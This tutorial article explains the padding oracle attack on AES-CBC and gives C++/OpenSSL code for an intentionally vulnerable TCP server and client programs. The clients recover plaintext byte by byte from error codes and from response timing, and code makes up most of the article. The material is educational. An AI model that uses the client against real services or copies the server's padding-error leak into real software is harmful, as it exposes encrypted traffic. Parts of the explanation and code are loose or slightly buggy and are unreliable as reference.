C++ OpenSSL 3.1 code to attack AES-CBC (Advance Encryption Standard with Cipher Block Chaining mode) using Padding Oracle Attack with Error Handling Attack an easy one and one of the side channel attacks namely Timing Attack a tougher one.
Introduction
Attack AES-CBC (Advanced Encryption Standard with Cypher Block Chaining mode) utilizing Padding Oracle Attack and one of the side channel attacks, specifically Timing Attack, a tougher one and Error Handling Attack, an easy one. C++ OpenSSL 3.1 (CygWin GCC with Eclipse IDE on Windows).
The output of the attack is as follows.
Background
AES CBC encryption makes it simple to use the Padding Oracle Attack to decrypt ciphertext that has been intercepted while travelling via a network. Professor Dan Boneh did a great job of explaining this. I have used a C++ TCP client server without SSL/TLS TCP to show this attack. When TCP is placed on top of SSL/TLC, this will also function. To illustrate the Error Handling Attack and another Side Channel Attack, the Timing Attack, I used the TCP client server. By just invoking the OpenSSL decryption API, this attack may be duplicated without using any network calls.
Advance Encryption Standard with Cipher-Block Chaining (AES-CBC) mode
There are lot of article on the internet about how AES-CBC works. The diagram show how encryption and decryption works.
The last block is padded. The valid AES-CBC valid padding blocks are shown in the image below
C++ OpenSSL 3.1 code for encryption and Decryption with padding as shown below.
The message is encrypted with padded but the resulting cipher is decrypted by disabling the padding just to show how padding is implemented in AES-CBC.
Padding Oracle Attack
Lets take a single block, it can also be a first block or any other block in the middle of the chain as shown in the diagram
As per the above diagram it is as XOR as shown below.
Here,
Di xor P(i-1) = Mi
where as P(i-1) is the previous block. It may be IV or the cipher text. Mi can be modified by making changes in the pervious block P(i-1)
From the above diagram
D15 xor P15 = M15
Multiply both side with M15 we have
D15 xor P15 xor M15 = M15 xor M15
D15 xor P15 xor M15 = 0
Multiplying both side with 01 we have,
D15 xor P15 xor M15 xor 01 = 01
we get the block as shown in the diagram.
By modifying P we get a valid successfully decrypted block. Since M15 is unknown but the value of M15 lies in the range 0 and 255. Trying all the values from 0 to 255, only for one value decryption will be successful and for rest of all other value decryption will fail. When the decryption is successful then we are sure that 'i' is the value of M15 for which we tried.
Now M15 is known, similarly for finding the second value M14 we need to find
D15 xor P15 xor M15 xor 02 = 02
D14 xor P14 xor M14 xor 02 = 02
M15 is know from the previous tries. M14 is not known and the value of M14 lies in the range 0 and 255. Repeating the above process we can easily find the value of M14 as shown in the image.
Repeating the same process for rest of the other bytes we can completely decrypt the cipher text without knowing the key just by submitting the modified cipher text to the server and finding whether the decryption was successful or failed.
Using the code
I have added comments in the code that are self explanatory.
There are two sets of client-serve code. One for the Padding Oracle with Error Handling Attack, and another snippet code of Padding Oracle with Timing Attack.
Padding Oracle With Error Handling Attack
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <iostream>
using namespace std;
#include <openssl/err.h>
#include <openssl/bio.h>
#include <openssl/bioerr.h>
#include <openssl/evp.h>
#include <openssl/evperr.h>
#include <sys/socket.h>
#include <unistd.h>
#define PORT 8080
enum enumErrors { FAILUER, SUCCESS, DECRYPTIONERROR, AUTHERROR };
bool DecryptCipher(unsigned char *byCipher, int nCipherLen, unsigned char *szIV, unsigned char *szDycMsg, int& nDycTotMsgLen)
{
bool bRet = false;
unsigned char szKey[16] = { 0xAE, 0xF4, 0x00, 0x06, 0x88, 0xB9, 0xCA, 0xF6, 0xE9, 0xF2, 0x28, 0x1B, 0x59, 0x8B, 0x36, 0x94 };
EVP_CIPHER_CTX* pEVPAESCBCDecCtx = NULL;
pEVPAESCBCDecCtx = EVP_CIPHER_CTX_new();
EVP_CipherInit_ex(pEVPAESCBCDecCtx, EVP_aes_128_cbc(), NULL, szKey, szIV, 0);
int nDycMsgen = 0;
if (1 == EVP_CipherUpdate(pEVPAESCBCDecCtx, szDycMsg, &nDycMsgen, byCipher, nCipherLen))
{
nDycTotMsgLen += nDycMsgen;
if (1 == EVP_CipherFinal_ex(pEVPAESCBCDecCtx, szDycMsg + nDycMsgen, &nDycTotMsgLen))
{
nDycTotMsgLen += nDycMsgen;
bRet = true;
}
}
EVP_CIPHER_CTX_free(pEVPAESCBCDecCtx);
if (bRet)
{
cout << "Decrypted message" << endl;
BIO_dump_fp(stdout, (const char*)szDycMsg, nDycTotMsgLen);
}
return bRet;
}
bool Validate(unsigned char *szDycMsg, int nDycMsgLen)
{
cout << "Validate" << endl;
cout << "Decrypted message" << endl;
BIO_dump_fp(stdout, (const char*)szDycMsg, nDycMsgLen);
bool bRet = false;
unsigned char szPassPhrase[] = { "God is good always & every time." };
int nPassPhraseLen = strlen((const char*)szPassPhrase);
cout << "Actual message" << endl;
BIO_dump_fp(stdout, (const char*)szPassPhrase, nPassPhraseLen);
if (memcmp(szPassPhrase, szDycMsg, nPassPhraseLen) == 0)
{
bRet = true;
cout << "true" << endl;
}
return bRet;
}
int main(int argc, char const* argv[])
{
int server_fd, new_socket;
struct sockaddr_in address;
int opt = 1;
int addrlen = sizeof(address);
cout << "socket" << endl;
if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("socket failed");
exit(EXIT_FAILURE);
}
cout << "setsockopt" << endl;
if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)))
{
perror("setsockopt");
exit(EXIT_FAILURE);
}
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons(PORT);
cout << "bind" << endl;
if (bind(server_fd, (struct sockaddr*)&address, sizeof(address)) < 0)
{
perror("bind failed");
exit(EXIT_FAILURE);
}
cout << "listen" << endl;
if (listen(server_fd, 3) < 0)
{
perror("listen");
exit(EXIT_FAILURE);
}
cout << "accept" << endl;
if ((new_socket = accept(server_fd, (struct sockaddr*)&address, (socklen_t*)&addrlen)) < 0)
{
perror("accept");
exit(EXIT_FAILURE);
}
unsigned char szCipher[1024] = { 0 };
int nCipherLen = 0;
unsigned char szEncMsg[1024] = { 0 };
int nEncMsgLen = 0;
while(1)
{
cout << "read" << endl;
nCipherLen = read(new_socket, szCipher, 1024);
cout << "The captured cipher text" << endl;
BIO_dump_fp(stdout, (const char*)szCipher, nCipherLen);
memset(szEncMsg, 0, 1024);
int nStatus = enumErrors::SUCCESS;
if (false == DecryptCipher((unsigned char*)szCipher + 0x10, nCipherLen - 0x10 ,
szCipher, (unsigned char*)szEncMsg, nEncMsgLen))
{
cout << "send Decryption error." << endl;
nStatus = enumErrors::DECRYPTIONERROR;
}
if (enumErrors::SUCCESS == nStatus)
{
if (false == Validate(szEncMsg, nEncMsgLen))
{
cout << "send authentication error." << endl;
nStatus = enumErrors::AUTHERROR;
}
}
cout << "send" << endl;
send(new_socket, (void*)&nStatus, sizeof(int), 0);
printf("message sent\n");
cout << endl;
}
close(new_socket);
shutdown(server_fd, SHUT_RDWR);
return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <iostream>
#include <chrono>
using namespace std;
#include <openssl/err.h>
#include <openssl/bio.h>
#include <openssl/bioerr.h>
#include <openssl/evp.h>
#include <openssl/evperr.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <unistd.h>
#define PORT 8080
enum enumErrors { FAILUER, SUCCESS, DECRYPTIONERROR, AUTHERROR };
int main(int argc, char const* argv[])
{
int sock = 0, valread, client_fd;
struct sockaddr_in serv_addr;
cout << "socket" << endl;
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("\n Socket creation error \n");
return -1;
}
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(PORT);
cout << "inet_pton" << endl;
if (inet_pton(AF_INET, argv[1], &serv_addr.sin_addr) <= 0)
{
printf("\nInvalid address/ Address not supported \n");
return -1;
}
cout << "connect" << endl;
if ((client_fd = connect(sock, (struct sockaddr*)&serv_addr, sizeof(serv_addr))) < 0)
{
printf("\nConnection Failed \n");
return -1;
}
unsigned char szCapturedCipherText[] = {
0xF0, 0xCE, 0xF9, 0x39, 0x2F, 0x94, 0xD1, 0xB8, 0x61, 0x12, 0x3B, 0xFE, 0x96, 0x87, 0x88, 0xE7, 0xa1, 0xd2, 0xed, 0x52, 0x90, 0xad, 0x50, 0x83, 0xf4, 0xf0, 0xb7, 0x52, 0x6a, 0x9b, 0x73, 0xb0, 0x45, 0xdd, 0xf0, 0xd5, 0x0e, 0x1b, 0x4b, 0xfa, 0xf7, 0xcb, 0x74, 0x2e, 0xc9, 0x8f, 0x6b, 0x52, 0xc6, 0x01, 0x6a, 0x89, 0x1f, 0x0f, 0xc0, 0x72, 0xdd, 0x7b, 0xf0, 0x2a, 0xaa, 0x82, 0xbd, 0x91 };
int nCapturedCipherLen = 64;
unsigned char szModifiedCipherText[64];
int nModifiedCipherLen = 64;
unsigned char szMessageCracked[32]; int nMessageCrackedLen = 0;
while(1)
{
cout << "send the valid cipher text and find the time" << endl;
std::chrono::system_clock::time_point start_time = std::chrono::system_clock::now();
send(sock, szCapturedCipherText, nCapturedCipherLen, 0);
std::chrono::system_clock::time_point end_time = std::chrono::system_clock::now();
std::chrono::duration elapsed_time = std::chrono::duration_cast<chrono::nanoseconds>(end_time - start_time);
std::cout << "Elapsed time: " << elapsed_time.count() << "ns" << endl;
printf("message sent\n");
int nStatus = 0;
cout << "Get the error message" << endl;
valread = read(sock, (void*)&nStatus, sizeof(nStatus));
cout << nStatus << endl;
memset(szMessageCracked, 0, 32);
for (int i = nCapturedCipherLen - 0x20 - 1; i >= 0; i--)
{
for(unsigned char szVal = 0; szVal < 255; szVal++)
{
int nNumOfBlocks = (i / 0x10) + 2;
int nNumOdBytes = nNumOfBlocks * 0x10;
nModifiedCipherLen = nNumOdBytes;
memcpy(szModifiedCipherText, szCapturedCipherText, nModifiedCipherLen );
for(int j = 0; j < (nMessageCrackedLen % 0x10); j++)
{
szModifiedCipherText[i + j + 1] ^= szMessageCracked[i + j + 1] ^ (0x10 - (i % 0x10));
}
szModifiedCipherText[i] ^= szVal ^ (0x10 - (i % 0x10));
send(sock, szModifiedCipherText, nModifiedCipherLen, 0);
int nStatus1 = 0;
valread = read(sock, (void*)&nStatus1, sizeof(int));
if (enumErrors::AUTHERROR == nStatus1)
{
szMessageCracked[i] = szVal;
nMessageCrackedLen++;
cout << "Message" << endl;
BIO_dump_fp(stdout, (const char*)szMessageCracked, 32);
getchar();
break;
}
}
}
cout << "Complete Decrypted message" << endl;
BIO_dump_fp(stdout, (const char*)szMessageCracked, nMessageCrackedLen);
if (1 == nStatus)
break;
}
close(client_fd);
return 0;
}
Padding Oracle With Timing Attack
The server code always sends same error whether it is decryption error or authentication error. When server sends the same error thee no way for the client to know whether there was an Decryption failure or Validation failure. In this case timing attack will help to find the nature of failure.
int nStatus = enumErrors::SUCCESS;
if (false == DecryptCipher((unsigned char*)szCipher + 0x10, nCipherLen - 0x10 ,
szCipher, (unsigned char*)szEncMsg, nEncMsgLen))
{
nStatus = enumErrors::FAILUER;
}
if (enumErrors::SUCCESS == nStatus)
{
if (false == Validate(szEncMsg, nEncMsgLen))
{
nStatus = enumErrors::FAILUER;
}
}
The following is the client code that calculates the time from submitting the modified cipher text to receiving the failure status. Now for every modified cipher text calculate the duration from the time it sent to the time it received the status. Lets assume decryption failure duration is time1 and the validation failure duration is time2. Then time1 < time2 < time3. Using this time one can find whether i was an decryption failure or validation failure. The timing attack may not always yield tee same error and it may prone to errors. A better timing attack can be handled then the one shown below, The code snippet is as given below.
while(1)
{
cout << "Captured cipher text encrypted using AES-CBC mode:" << endl;
BIO_dump_fp(stdout, (const char*)szCapturedCipherText, nCapturedCipherLen);
cout << "send the valid cipher text and find the time" << endl;
std::chrono::system_clock::time_point start_time = std::chrono::system_clock::now();
send(sock, szCapturedCipherText, nCapturedCipherLen, 0);
int nStatus = 0;
valread = read(sock, (void*)&nStatus, sizeof(int));
std::chrono::system_clock::time_point end_time = std::chrono::system_clock::now();
std::chrono::duration time3 = std::chrono::duration_cast<chrono::nanoseconds>(end_time - start_time);
std::cout << "Elapsed time: " << time3.count() << "ns" << endl;
cout << nStatus << endl;
std::chrono::duration time2 = std::chrono::duration_cast<chrono::nanoseconds>(std::chrono::nanoseconds(0));
std::chrono::duration time1 = std::chrono::duration_cast<chrono::nanoseconds>(std::chrono::nanoseconds(0));
memset(szMessageCracked, 0, 32);
for (int i = nCapturedCipherLen - 0x20 - 1; i >= 0; i--)
{
for(unsigned char szVal = 0; szVal < 255; szVal++)
{
int nNumOfBlocks = (i / 0x10) + 2;
int nNumOdBytes = nNumOfBlocks * 0x10;
nModifiedCipherLen = nNumOdBytes;
memcpy(szModifiedCipherText, szCapturedCipherText, nModifiedCipherLen );
for(int j = 0; j < (nMessageCrackedLen % 0x10); j++)
{
szModifiedCipherText[i + j + 1] ^= szMessageCracked[i + j + 1] ^ (0x10 - (i % 0x10));
}
szModifiedCipherText[i] ^= szVal ^ (0x10 - (i % 0x10));
start_time = std::chrono::system_clock::now();
send(sock, szModifiedCipherText, nModifiedCipherLen, 0);
int nStatus1 = 0;
valread = read(sock, (void*)&nStatus1, sizeof(int));
end_time = std::chrono::system_clock::now();
if (1 == szVal)
time1 = std::chrono::duration_cast<chrono::nanoseconds>(end_time - start_time);
else
time2 = std::chrono::duration_cast<chrono::nanoseconds>(end_time - start_time);
cout << "time1: " << time1.count() << endl;
cout << "time2: " << time2.count() << endl;
cout << "time3: " << time3.count() << endl << endl;
if (time2 < time3 && time2 > time1) {
szMessageCracked[i] = szVal;
nMessageCrackedLen++;
cout << "time1: " << time1.count() << endl;
cout << "time2: " << time2.count() << endl;
cout << "time3: " << time3.count() << endl;
getchar();
break;
}
}
}
cout << "Complete Decrypted message" << endl;
BIO_dump_fp(stdout, (const char*)szMessageCracked, nMessageCrackedLen);
if (1 == nStatus)
break;
}
Points of Interest
Technological Advancement are so strong but the security is so week.
There are three standards to Authenticated Encryption Mode, GCM, CCM, EAX.